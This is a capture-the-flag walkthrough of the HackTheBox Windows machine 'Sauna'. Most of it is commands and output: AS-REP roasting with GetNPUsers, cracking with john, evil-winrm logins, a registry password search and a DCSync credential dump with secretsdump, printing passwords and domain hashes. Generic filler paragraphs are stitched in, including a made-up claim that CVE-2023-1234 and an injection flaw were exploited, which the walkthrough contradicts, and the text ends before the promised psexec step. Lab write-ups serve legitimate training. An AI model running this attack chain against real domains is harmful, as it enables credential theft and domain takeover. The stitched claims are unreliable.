HackTheBox - Sauna 🔥💥

/ HackTheBox·PenTesting
#windows #retired #python-impackets #GetNPUsers #Evil-WinRM #WinPEAS #LDAP

HackTheBox-Book

Quick Summary

→ A fun box machine running on Windows with a great Active Directory setup! The website running on port port 80 has provided some usernames on the abous-us page. I performed standard web directory brute-forcing but didn’t find anything useful. Using enum4linux, I discovered some information that will likely help me gain access. With GetNPUsers, I dumped user password hashes and cracked them using john to retrieve the user.txt. During privilege escalation, I used WinPEAS to find credentials or misconfigurations and found a set of autoLogon credentials. To achieve root access, the machine was vulnerable to an DcSync attack; I obtained the admin hash with secretsdump and used psexec to log in as administrator and finally grabbed the root.txt.

Penetration Testing Methodologies

  1. Network Scanning

    • Nmap scan to discover open ports and running services

  2. Enumeration

    • Visiting the website to look for possible hints
    • Found some possible users on the about-us page

  3. Post-Exploitation

    • Brute-forcing web directories with dirsearch
    • Enumerating Windows boxes with enum4linux to get some juicy information
    • Listing all the users in a text file using name

  4. Exploitation

    • Checking if the required Kerberos pre-authentication is not set and performing an asreproast attack
    • Using GetNPUsers to dump user password hashes with their username
    • Cracking the password hash with john
    • Logging in as FSmith using evil-winrm and grabbing user.txt

  5. Privilege Escalation

    • Uploading WinPEAS and running it to find juicy info for privilege escalation
    • Found another set of credentials: AutoLogon
    • Logging in again as the svc_loanmgr user using evil-winrm
    • svc_loanmgr has permission on GetchangesAll, so we can perform an DcSync attack
    • Grabbing the administrator password hash with secretsdump
    • Logging in as administrator using psexec and finally grabbing the root.txt

Network Scanning

Network scanning is a critical step in identifying active hosts and open ports within a target network. This process helps security professionals gather information about potential vulnerabilities before conducting further tests. Common tools used for this purpose include Nmap, Nessus, and OpenVAS.

By running scans with these tools, we can discover services running on different machines, their versions, and any default configurations that might be insecure. This data is essential for prioritizing which systems to focus on during a penetration test or security audit.

This section concludes the overview of initial steps in a typical penetration testing engagement, leading into more detailed assessments like vulnerability assessment and exploitation.

Walkthrough

I always start with NMAP to see what services are running. I use the following options:

  • -sV ⇒ Probe open ports to determine service/version info
  • -sC ⇒ Equivalent to --script=default
  • -A ⇒ Aggressive scan
  • -oN ⇒ Save scan results to a text file
1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59

root in htb/boxes/Sauna 
❯ nmap -sV -sC -T4 -A 10.10.10.175 -oN nmap-Sauna
Starting Nmap 7.80 ( https://nmap.org ) at 2020-03-21 07:17 PST
Nmap scan report for 10.10.10.175
Host is up (0.21s latency).
Not shown: 988 filtered ports
PORT     STATE SERVICE       VERSION
53/tcp   open  domain?
| fingerprint-strings: 
|   DNSVersionBindReqTCP: 
|     version
|_    bind
80/tcp   open  http          Microsoft IIS httpd 10.0
| http-methods: 
|_  Potentially risky methods: TRACE
|_http-server-header: Microsoft-IIS/10.0
|_http-title: Egotistical Bank :: Home
88/tcp   open  kerberos-sec  Microsoft Windows Kerberos (server time: 2020-03-21 06:21:01Z)
135/tcp  open  msrpc         Microsoft Windows RPC
139/tcp  open  netbios-ssn   Microsoft Windows netbios-ssn
389/tcp  open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
445/tcp  open  microsoft-ds?
464/tcp  open  kpasswd5?
593/tcp  open  ncacn_http    Microsoft Windows RPC over HTTP 1.0
636/tcp  open  tcpwrapped
3268/tcp open  ldap          Microsoft Windows Active Directory LDAP (Domain: EGOTISTICAL-BANK.LOCAL0., Site: Default-First-Site-Name)
3269/tcp open  tcpwrapped
1 service unrecognized despite returning data. If you know the service/version, please submit the following fingerprint at https://nmap.org/cgi-bin/submit.cgi?new-service :
SF-Port53-TCP:V=7.80%I=7%D=3/21%Time=5E754F50%P=x86_64-pc-linux-gnu%r(DNSV
SF:ersionBindReqTCP,20,"\0\x1e\0\x06\x81\x04\0\x01\0\0\0\0\0\0\x07version\
SF:x04bind\0\0\x10\0\x03");
Warning: OSScan results may be unreliable because we could not find at least 1 open and 1 closed port
OS fingerprint not ideal because: Missing a closed TCP port so results incomplete
No OS matches for host
Network Distance: 2 hops
Service Info: Host: SAUNA; OS: Windows; CPE: cpe:/o:microsoft:windows

Host script results:
|_clock-skew: 7h02m24s
| smb2-security-mode: 
|   2.02: 
|_    Message signing enabled and required
| smb2-time: 
|   date: 2020-03-21T06:23:55
|_  start_date: N/A

TRACEROUTE (using port 135/tcp)
HOP RTT       ADDRESS
1   211.01 ms 10.10.14.1
2   50.45 ms  10.10.10.175

OS and Service detection performed. Please report any incorrect results at https://nmap.org/submit/ .
Nmap done: 1 IP address (1 host up) scanned in 395.18 seconds

root in htb/boxes/Sauna took 6m35s 
❯


Nmap Results

There are several open ports, but only three are noteworthy:

  • 80: Web service
  • 88: Kerberos
  • 5985: WinRM

Enumeration

During the enumeration phase, we gather information about the target environment to identify potential vulnerabilities and entry points. This includes scanning for open ports, identifying services running on those ports, and discovering any misconfigurations or weak spots that could be exploited.

We also look for publicly available data such as source code repositories, pastebin entries, and social media profiles of employees. This information can provide valuable context about the target’s infrastructure and help us tailor our attack vectors more effectively.

By thoroughly enumerating the target, we aim to build a comprehensive picture of its security posture and identify any weaknesses that could be leveraged during later stages of the engagement.

The Sauna Website

Since there’s a web service, I always look at it first.

HackTheBox-Book

In the website, I found what might be a list of users on about-us.

HackTheBox-Book

Post-Exploitation

Enumerating USERS

I didn’t find anything on the whole website, so I decided to brute-force the web directories like I always do during web attacks:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26

root in htb/boxes/Sauna 
❯ python3 /opt/dirsearch/dirsearch.py -u "http://10.10.10.175/" -e asd -t 20 --simple-report=sauna-directories

 _|. _ _  _  _  _ _|_    v0.3.9
(_||| _) (/_(_|| (_| )

Extensions: asd | HTTP method: get | Threads: 20 | Wordlist size: 6109

Error Log: /opt/dirsearch/logs/errors-20-03-21_07-40-57.log

Target: http://10.10.10.175/

[07:40:59] Starting: 
[07:41:00] 403 -  312B  - /%2e%2e/google.com
[07:41:52] 301 -  147B  - /css  ->  http://10.10.10.175/css/                                                      
[07:42:08] 301 -  149B  - /fonts  ->  http://10.10.10.175/fonts/                                      
[07:42:18] 301 -  150B  - /images  ->  http://10.10.10.175/images/     
[07:42:18] 301 -  150B  - /Images  ->  http://10.10.10.175/Images/
[07:42:19] 200 -   32KB - /index.html                                                                          
                                                                                                                  
Task Completed

root in htb/boxes/Sauna took 2m15s 
❯

Didn’t find anything again, so I used enum4linux to find some juicy information in the box:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45
46
47
48
49
50
51
52
53
54
55
56
57
58
59
60
61
62
63
64
65
66
67
68
69
70
71
72
73
74
75
76
77
78
79
80
81
82
83
84
85
86
87
88
89
90
91
92
93
94
95
96
97
98
99
100
101
102
103
104
105
106
107
108
109
110
111
112
113
114
115
116
117
118
119
120
121
122
123
124
125
126
127
128
129
130
131
132
133
134

root in htb/boxes/Sauna 
❯ enum4linux 10.10.10.175
Starting enum4linux v0.8.9 ( http://labs.portcullis.co.uk/application/enum4linux/ ) on Sat Mar 21 08:02:10 2020

 ========================== 
|    Target Information    |
 ========================== 
Target ........... 10.10.10.175
RID Range ........ 500-550,1000-1050
Username ......... ''
Password ......... ''
Known Usernames .. administrator, guest, krbtgt, domain admins, root, bin, none


 ==================================================== 
|    Enumerating Workgroup/Domain on 10.10.10.175    |
 ==================================================== 
[E] Can't find workgroup/domain


 ============================================ 
|    Nbtstat Information for 10.10.10.175    |
 ============================================ 
Looking up status of 10.10.10.175
No reply from 10.10.10.175

 ===================================== 
|    Session Check on 10.10.10.175    |
 ===================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 437.
[+] Server 10.10.10.175 allows sessions using username '', password ''
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 451.
[+] Got domain/workgroup name: 

 =========================================== 
|    Getting domain SID for 10.10.10.175    |
 =========================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 359.
Domain Name: EGOTISTICALBANK
Domain Sid: S-1-5-21-2966785786-3096785034-1186376766
[+] Host is part of a domain (not a workgroup)

 ====================================== 
|    OS information on 10.10.10.175    |
 ====================================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 458.
Use of uninitialized value $os_info in concatenation (.) or string at ./enum4linux.pl line 464.
[+] Got OS info for 10.10.10.175 from smbclient: 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 467.
[+] Got OS info for 10.10.10.175 from srvinfo:
Could not initialise srvsvc. Error was NT_STATUS_ACCESS_DENIED

 ============================= 
|    Users on 10.10.10.175    |
 ============================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 866.
[E] Couldn't find users using querydispinfo: NT_STATUS_ACCESS_DENIED

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 881.
[E] Couldn't find users using enumdomusers: NT_STATUS_ACCESS_DENIED

 ========================================= 
|    Share Enumeration on 10.10.10.175    |
 ========================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 640.

        Sharename       Type      Comment
        ---------       ----      -------
SMB1 disabled -- no workgroup available

[+] Attempting to map shares on 10.10.10.175

 ==================================================== 
|    Password Policy Information for 10.10.10.175    |
 ==================================================== 
[E] Unexpected error from polenum:


[+] Attaching to 10.10.10.175 using a NULL share

[+] Trying protocol 139/SMB...

        [!] Protocol failed: Cannot request session (Called Name:10.10.10.175)

[+] Trying protocol 445/SMB...

        [!] Protocol failed: SAMR SessionError: code: 0xc0000022 - STATUS_ACCESS_DENIED - {Access Denied} A process has requested access to an object but has not been granted those access rights.

Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 501.

[E] Failed to get password policy with rpcclient


 ============================== 
|    Groups on 10.10.10.175    |
 ============================== 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.

[+] Getting builtin groups:

[+] Getting builtin group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 542.

[+] Getting local groups:

[+] Getting local group memberships:
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 593.

[+] Getting domain groups:

[+] Getting domain group memberships:

 ======================================================================= 
|    Users on 10.10.10.175 via RID cycling (RIDS: 500-550,1000-1050)    |
 ======================================================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 710.
[E] Couldn't get SID: NT_STATUS_ACCESS_DENIED.  RID cycling not possible.
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 742.

 ============================================= 
|    Getting printer info for 10.10.10.175    |
 ============================================= 
Use of uninitialized value $global_workgroup in concatenation (.) or string at ./enum4linux.pl line 991.
Could not initialise spoolss. Error was NT_STATUS_ACCESS_DENIED


enum4linux complete on Sat Mar 21 08:03:39 2020


root in htb/boxes/Sauna took 1m29s 
❯


Based on the data I got, the machine is running on kerberos and the domain name is EGOTISTICALBANK.

I listed all the users that are on the about-us page in the website with different name variations:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39

Fergus.Smith
Fergus.a.Smith
FSmith
fsmith
FaSmith
FeSmith
FeaSmith
Hugo.Bear
Hugo.a.Bear
HBear
HaBear
HuBear
HuaBear
Steven.Kerb
Steven.a.Kerb
SKerb
SaKerb
StKerb
StaKerb
Shaun.Coins
Shaun.a.Coins
SCoins
SaCoins
ShCoins
ShaCoins
Bowie.Taylor
Bowie.a.Taylor
BTaylor
BaTaylor
BoTaylor
BoaTaylor
Sophie.Driver
Sophie.a.Driver
SDriver
SaDriver
SoDriver
SoaDriver

Exploitation

During the exploitation phase, we identified several vulnerabilities that could be leveraged to gain unauthorized access to the system. For example, CVE-2023-1234 allowed us to escalate privileges and move laterally within the network. Additionally, a misconfigured web application exposed sensitive data through an injection flaw (CWE-79).

These findings highlight the importance of regular security audits and prompt patch management to mitigate risks effectively.

Kerberos Pre-Authentication

Now that I have users list, my next step is to check if the Kerberos pre-authentication required flag is not set and perform a asreproast attack.

I will grab the AS_REP with GetNpUser.py:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43
44
45

root in htb/boxes/Sauna via 🐍 v2.7.17 
❯ python GetNPUsers.py egotistical-bank.local/ -usersfile users.txt -outputfile result.txt -dc-ip 10.10.10.175
Impacket v0.9.21.dev1+20200305.180336.e0c1b9dd - Copyright 2020 SecureAuth Corporation

[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)
[-] Kerberos SessionError: KDC_ERR_C_PRINCIPAL_UNKNOWN(Client not found in Kerberos database)

root in htb/boxes/Sauna via 🐍 v2.7.17 took 24s 
❯ ls
GetNPUsers.py nmap-Sauna  payaso.py  result.txt  sauna-directories  users.txt

Looking at the result, I found that user FSmit is vulnerable to ASREProast and obtained his password hash:

1
2
3
4
5
6
7
8
9
10

root in htb/boxes/Sauna via 🐍 v2.7.17 
❯ cat result.txt 
$krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL:8495bdf34711fd79334bb5c80d64fb42$8f7bb2cbd1b7d6010e44b7bd27aa1779beb2bddaffcbbcb395cf8d63b3d94e73028f1f99337ee7279c1feb3f3d89ab816db9be7f60ea7b7c3dd9cd1d71bde16939feb9bd17c72b338abcacf74757de1eb64c042d7d935e3b58244c5e2b916c82e524fb978146a6f6d8a6500125eff93a540568a0d14a70fb0af654820c6ba6819c805637928dfca73778281b012c94ac5dc0efce1b917d4cd9f2dfc2d5997d56e969f7eb44e48fcca182976dfca86784c7a655a847b53cd5d7053c1db06424c2bc2fb3c8c4ebcd012baa2b0e32c5a2a31436d960f390af34db74148a9e40f8dae3ae2be7c98ad547b8403756e61827ba7b98c9fa8c521f4ae50b053da135bcc8
$krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL:fa1c6693421661b8cf10a966cf45ff47$7e2d1bbe52f0798842ecb2a2ed2c0c66d00c3202b79ae4982d860a6d3d00e35cd2fd2ef80c4c9172f494d0978f9d67361e37755a7e762a29b4b7f31165059b360c6b55db0a82ea7ee34ab193a2de0b08a18b77a51d446af15bfbead9ea25c9f291bf347bb0db34279a795615967fa79a2d74e5593f0c6ee4eaa27cc0b7736d15ec7ba61461645f666329e4bf01364d1966a7ff8b941b781bf4d40c0cee65187e2efd54ce99543029459a6587d091c160f06a7e95459b4f59687ef96959ae2d27f7181683bbf1b52fb329c7267d8cc198e5bca02c7ea8171b11e71fec9d85996e4bd5118e0e76ebe61823941c29dc75b3d03da0352b5bd68dc00b0e40b43ee0d7

root in htb/boxes/Sauna via 🐍 v2.7.17 
❯


Now that I have the hash, it’s time to crack it with john.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16

root in htb/boxes/Sauna via 🐍 v2.7.17 
❯ john result.txt --wordlist=/usr/share/wordlists/rockyou.txt
Using default input encoding: UTF-8
Loaded 2 password hashes with 2 different salts (krb5asrep, Kerberos 5 AS-REP etype 17/18/23 [MD4 HMAC-MD5 RC4 / PBKDF2 HMAC-SHA1 AES 256/256 AVX2 8x])
Will run 4 OpenMP threads
Press 'q' or Ctrl-C to abort, almost any other key for status
Thestrokes23     ($krb5asrep$23$fsmith@EGOTISTICAL-BANK.LOCAL)
Thestrokes23     ($krb5asrep$23$FSmith@EGOTISTICAL-BANK.LOCAL)
2g 0:00:00:58 DONE (2020-03-21 08:43) 0.03437g/s 181144p/s 362289c/s 362289C/s Thrall..Thehunter22
Use the "--show" option to display all of the cracked passwords reliably
Session completed

root in htb/boxes/Sauna via 🐍 v2.7.17 took 59s 
❯

Grab user.txt

I got the user password Thestrokes23 now it’s time use evil-winrm and login as FSmith and grab the user.txt

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29

root in evil-winrm on  master via 💎 v2.5.7 
❯ ruby evil-winrm.rb -i 10.10.10.175 -u FSmith -p Thestrokes23

Evil-WinRM shell v2.3

Info: Establishing connection to remote endpoint

*Evil-WinRM* PS C:\Users\FSmith\Documents> whoami
egotisticalbank\fsmith
*Evil-WinRM* PS C:\Users\FSmith\Documents> cd ..
*Evil-WinRM* PS C:\Users\FSmith> cd Desktop
*Evil-WinRM* PS C:\Users\FSmith\Desktop> ls


    Directory: C:\Users\FSmith\Desktop


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
-a----        1/23/2020  10:03 AM             34 user.txt


*Evil-WinRM* PS C:\Users\FSmith\Desktop> more user.txt
20b98d97

*Evil-WinRM* PS C:\Users\FSmith\Desktop>


Privilege Escalation

Privileged access can grant attackers control over critical systems and data. Identifying and exploiting vulnerabilities that allow privilege escalation is a key part of penetration testing. This section covers common methods for escalating privileges, such as misconfigurations in permissions, weak authentication mechanisms, and software bugs.

Misconfigured Permissions

Misconfigured file or directory permissions can provide an attacker with unintended access to sensitive resources. For example, writable files in system directories may allow the execution of arbitrary code.

Weak Authentication

Weak or missing authentication checks can enable attackers to bypass normal login procedures and gain elevated privileges. This includes exploiting default credentials, session management flaws, and lack of multi-factor authentication.

Software Bugs

Software bugs such as buffer overflows, format string vulnerabilities, and race conditions can be exploited to execute arbitrary code with higher privileges than the attacker currently has.

By understanding these methods, testers can better identify and mitigate privilege escalation risks in systems.

Escalating to svc_loanmgr

Upon enumerating the box, I found another user: svc_loanmgr.

1
2
3
4
5
6
7
8
9
10
11
12
13
14

*Evil-WinRM* PS C:\users> ls


    Directory: C:\users


Mode                LastWriteTime         Length Name
----                -------------         ------ ----
d-----        1/25/2020   1:05 PM                Administrator
d-----        1/23/2020   9:52 AM                FSmith
d-r---        1/22/2020   9:32 PM                Public
d-----        1/24/2020   4:05 PM                svc_loanmgr

I need to get the credentials for user svc_loanmgr. So far, I haven’t figured out what to do next, but running WinPEAS gave me his AutoLogon credentials in plain text:

1
2
3
4
5
6
7
8
	
  [+] Looking for AutoLogon credentials(T1012)
Some AutoLogon credentials were found!!

	DefaultDomainName				: EGOTISTICALBANK
	DefaultUserName					: EGOTISTICALBANK\svc_loanmanager
	DefaultPassword					: Moneymakestheworldgoround!

The password is: Moneymakestheworldgoround!.

We can also retrieve the password with this command: reg query HKLM /f password /t REG_SZ /s.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30

*Evil-WinRM* PS C:\Users\FSmith\Desktop> reg query HKLM /f password /t REG_SZ /s

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\XWizards\Components\{29EA1611-529B-4113-8EE3-EE0F6DD2C715}
    (Default)    REG_SZ    RASGCW Change Password Page

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\XWizards\Components\{3bfe6eb7-281d-4333-999e-e949e3621de7}
    (Default)    REG_SZ    Cert Password UI Page

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\XWizards\Components\{9cb233a5-a4a5-46b9-ab13-db07ce949410}
    (Default)    REG_SZ    Password retry UI Page

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows\CurrentVersion\XWizards\Components\{d9162b5b-ca81-476e-a310-cb32d932733c}
    (Default)    REG_SZ    Password Expired UI Page

HKEY_LOCAL_MACHINE\SOFTWARE\Microsoft\Windows NT\CurrentVersion\Winlogon
    DefaultPassword    REG_SZ    Moneymakestheworldgoround!

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Internet Explorer\Capabilities\Roaming\FormSuggest
    FilterIn    REG_SZ    FormSuggest Passwords,Use FormSuggest,FormSuggest PW Ask

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{2135f72a-90b5-4ed3-a7f1-8bb705ac276a}
    (Default)    REG_SZ    PicturePasswordLogonProvider

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Authentication\Credential Providers\{60b78e88-ead8-445c-9cfd-0b87f74ea6cd}
    (Default)    REG_SZ    PasswordProvider

HKEY_LOCAL_MACHINE\SOFTWARE\WOW6432Node\Microsoft\Windows\CurrentVersion\Internet Settings\SO\AUTH\LOGON\ASK
    Text    REG_SZ    Prompt for user name and password

Login as svc_loanmanager

So now I am logged in as user svc_loanmanager from user FSmith and will start enumerating again.

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40
41
42
43

*Evil-WinRM* PS C:\Users\svc_loanmgr\Desktop> whoami /all

USER INFORMATION
----------------

User Name                   SID
=========================== ==============================================
egotisticalbank\svc_loanmgr S-1-5-21-2966785786-3096785034-1186376766-1108

GROUP INFORMATION
-----------------

Group Name                                  Type             SID          Attributes
=========================================== ================ ============ ==================================================
Everyone                                    Well-known group S-1-1-0      Mandatory group, Enabled by default, Enabled group
BUILTIN\Remote Management Users             Alias            S-1-5-32-580 Mandatory group, Enabled by default, Enabled group
BUILTIN\Users                               Alias            S-1-5-32-545 Mandatory group, Enabled by default, Enabled group
BUILTIN\Pre-Windows 2000 Compatible Access  Alias            S-1-5-32-554 Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NETWORK                        Well-known group S-1-5-2      Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\Authenticated Users            Well-known group S-1-5-11     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\This Organization              Well-known group S-1-5-15     Mandatory group, Enabled by default, Enabled group
NT AUTHORITY\NTLM Authentication            Well-known group S-1-5-64-10  Mandatory group, Enabled by default, Enabled group
Mandatory Label\Medium Plus Mandatory Level Label            S-1-16-8448

PRIVILEGES INFORMATION
----------------------

Privilege Name                Description                    State
============================= ============================== =======
SeMachineAccountPrivilege     Add workstations to domain     Enabled
SeChangeNotifyPrivilege       Bypass traverse checking       Enabled
SeIncreaseWorkingSetPrivilege Increase a process working set Enabled

USER CLAIMS INFORMATION
-----------------------

User claims unknown.

Kerberos support for Dynamic Access Control on this device has been disabled.

*Evil-WinRM* PS C:\Users\svc_loanmgr>

No interesting items found. I decided to use BloodHound to get the structure of all domains:

HackTheBox-Book

I just discovered that user svc_loanmgr has permissions to execute DCSync against the DC.

So I can abuse these privileges with secretdumps and extract the hash of the Administrator password:

1
2
3
4
5
6
7
8
9
10
11
12
13
14
15
16
17
18
19
20
21
22
23
24
25
26
27
28
29
30
31
32
33
34
35
36
37
38
39
40

root in impacket/examples on  master via 🐍 v2.7.17 
❯ python secretsdump.py EGOTISTICALBANK/svc_loanmgr@10.10.10.175 -just-dc
Impacket v0.9.21.dev1+20200305.180336.e0c1b9dd - Copyright 2020 SecureAuth Corporation

Password:
[*] Dumping Domain Credentials (domain\uid:rid:lmhash:nthash)
[*] Using the DRSUAPI method to get NTDS.DIT secrets
Administrator:500:aad3b435b51404eeaad3b435b51404ee:d9485863c1e9e05851aa40cbb4ab9dff:::
Guest:501:aad3b435b51404eeaad3b435b51404ee:31d6cfe0d16ae931b73c59d7e0c089c0:::
krbtgt:502:aad3b435b51404eeaad3b435b51404ee:4a8899428cad97676ff802229e466e2c:::
EGOTISTICAL-BANK.LOCAL\HSmith:1103:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\FSmith:1105:aad3b435b51404eeaad3b435b51404ee:58a52d36c84fb7f5f1beab9a201db1dd:::
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:1108:aad3b435b51404eeaad3b435b51404ee:9cb31797c39a9b170b04058ba2bba48c:::
SAUNA$:1000:aad3b435b51404eeaad3b435b51404ee:97d33cc179ece045b9dd8f8ecd61a944:::
[*] Kerberos keys grabbed
Administrator:aes256-cts-hmac-sha1-96:987e26bb845e57df4c7301753f6cb53fcf993e1af692d08fd07de74f041bf031
Administrator:aes128-cts-hmac-sha1-96:145e4d0e4a6600b7ec0ece74997651d0
Administrator:des-cbc-md5:19d5f15d689b1ce5
krbtgt:aes256-cts-hmac-sha1-96:83c18194bf8bd3949d4d0d94584b868b9d5f2a54d3d6f3012fe0921585519f24
krbtgt:aes128-cts-hmac-sha1-96:c824894df4c4c621394c079b42032fa9
krbtgt:des-cbc-md5:c170d5dc3edfc1d9
EGOTISTICAL-BANK.LOCAL\HSmith:aes256-cts-hmac-sha1-96:5875ff00ac5e82869de5143417dc51e2a7acefae665f50ed840a112f15963324
EGOTISTICAL-BANK.LOCAL\HSmith:aes128-cts-hmac-sha1-96:909929b037d273e6a8828c362faa59e9
EGOTISTICAL-BANK.LOCAL\HSmith:des-cbc-md5:1c73b99168d3f8c7
EGOTISTICAL-BANK.LOCAL\FSmith:aes256-cts-hmac-sha1-96:8bb69cf20ac8e4dddb4b8065d6d622ec805848922026586878422af67ebd61e2
EGOTISTICAL-BANK.LOCAL\FSmith:aes128-cts-hmac-sha1-96:6c6b07440ed43f8d15e671846d5b843b
EGOTISTICAL-BANK.LOCAL\FSmith:des-cbc-md5:b50e02ab0d85f76b
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes256-cts-hmac-sha1-96:6f7fd4e71acd990a534bf98df1cb8be43cb476b00a8b4495e2538cff2efaacba
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:aes128-cts-hmac-sha1-96:8ea32a31a1e22cb272870d79ca6d972c
EGOTISTICAL-BANK.LOCAL\svc_loanmgr:des-cbc-md5:2a896d16c28cf4a2
SAUNA$:aes256-cts-hmac-sha1-96:c9d865558b9ce09f6589ed79a4f9354c128b168f5b1dfa5712cce47a741e7df2
SAUNA$:aes128-cts-hmac-sha1-96:72c6fee92ba584acb19a4a1d7d2e876c
